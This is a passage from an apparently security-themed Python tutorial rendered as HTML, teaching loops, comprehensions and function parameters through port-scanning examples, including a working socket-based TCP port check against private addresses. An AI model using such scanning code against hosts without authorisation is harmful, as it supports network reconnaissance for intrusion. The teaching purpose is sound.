    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Iterate over dictionary
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;scan_results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Host: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, Ports: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# while loop
&lt;/span&gt;&lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;max_attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;max_attempts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Attempt &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# Infinite loop with break
&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;receive_data&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;                          &lt;span class="c1"&gt;# Exit loop
&lt;/span&gt;    &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Loop control
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1025&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;                       &lt;span class="c1"&gt;# Skip this iteration
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;                          &lt;span class="c1"&gt;# Exit loop entirely
&lt;/span&gt;    &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# else on loops — runs if loop completed without break
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1025&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Found open port: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No open ports found in range&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# Only runs if no break
&lt;/span&gt;
&lt;span class="c1"&gt;# Nested loops
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scanning &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Comprehensions — Compact Loops
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# List comprehension
&lt;/span&gt;&lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;check_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="c1"&gt;# With transformation
&lt;/span&gt;&lt;span class="n"&gt;port_strings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;

&lt;span class="c1"&gt;# Dict comprehension
&lt;/span&gt;&lt;span class="n"&gt;port_services&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTPS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;port_services&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;  &lt;span class="c1"&gt;# {"SSH": 22, ...}
&lt;/span&gt;
&lt;span class="c1"&gt;# Set comprehension
&lt;/span&gt;&lt;span class="n"&gt;unique_subnets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rsplit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ip_list&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Generator expression — like list comp but lazy (doesn't create full list in memory)
# Use for large datasets
&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;access.log&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;404&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Functions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Defining and Calling Functions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Basic function
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Check if a TCP port is open on a host.

    Args:
        host: Target IP address or hostname
        port: TCP port number to check

    Returns:
        True if port is open, False otherwise
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;settimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect_ex&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;             &lt;span class="c1"&gt;# 0 = success = port open
&lt;/span&gt;    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="c1"&gt;# Call the function
&lt;/span&gt;&lt;span class="n"&gt;is_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_open&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Parameters and Arguments
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Default parameters
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;use_ssl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connecting to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (timeout=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, ssl=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;use_ssl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# Uses defaults: port=80, timeout=5, ssl=False
&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="c1"&gt;# port=443, others default
&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;use_ssl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# Keyword argument — skip positional
&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# All positional
&lt;/span&gt;
&lt;span class="c1"&gt;# *args — variable number of positional arguments
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_ports&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scanning &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;scan_ports&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# **kwargs — variable keyword arguments
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;log_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2026-01-01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;source_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Return multiple values (actually returns a tuple)
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_host_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;resolve_hostname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
